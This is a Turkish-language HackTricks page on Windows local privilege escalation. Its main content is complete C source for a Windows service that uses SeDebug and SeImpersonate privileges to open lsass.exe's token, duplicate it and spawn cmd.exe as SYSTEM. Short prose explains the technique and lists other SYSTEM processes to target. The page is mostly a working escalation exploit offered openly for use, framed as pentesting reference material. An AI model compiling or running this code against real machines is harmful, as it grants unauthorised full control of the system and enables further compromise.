hacktricks/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
2024-02-10 18:14:16 +00:00

238 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
</details>
Aşağıdaki kod, **SeDebug ve SeImpersonate ayrıcalıklarını** kullanarak, **SİSTEM olarak çalışan bir işlemdeki** ve **tüm token ayrıcalıklarına sahip** olan tokeni kopyalamak için kullanılır. \
Bu durumda, bu kod bir **Windows hizmeti ikili** olarak derlenebilir ve çalışıp çalışmadığını kontrol etmek için kullanılabilir.\
Ancak, **yükseltmenin gerçekleştiği kodun ana kısmı** **`Exploit`** **fonksiyonu içindedir**.\
Bu fonksiyonun içinde, **_lsass.exe_** **işlemi aranır**, ardından **tokeni kopyalanır** ve son olarak bu token kullanılarak kopyalanan tokenin tüm ayrıcalıklarına sahip yeni bir **_cmd.exe_** başlatılır.
Tüm veya çoğu token ayrıcalığına sahip **diğer SİSTEM olarak çalışan işlemler**: **services.exe**, **svhost.exe** (ilklerden biri), **wininit.exe**, **csrss.exe**... (_Unutmayın, bir Korumalı işlemden bir token kopyalayamazsınız_). Ayrıca, bir işlemin tokenlerini görmek için yönetici olarak çalışan [Process Hacker](https://processhacker.sourceforge.io/downloads.php) aracını kullanabilirsiniz.
```c
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("TokenDanceSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//This function will find the pid of a process by name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
HANDLE hSystemToken, hSystemProcess;
HANDLE dupSystemToken = NULL;
HANDLE hProcess, hThread;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// open high privileged process
if ( pid = FindTarget("lsass.exe") )
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract high privileged token
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
CloseHandle(hSystemProcess);
return -1;
}
// make a copy of a token
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
// and spawn a new process with higher privs
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
```
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
</details>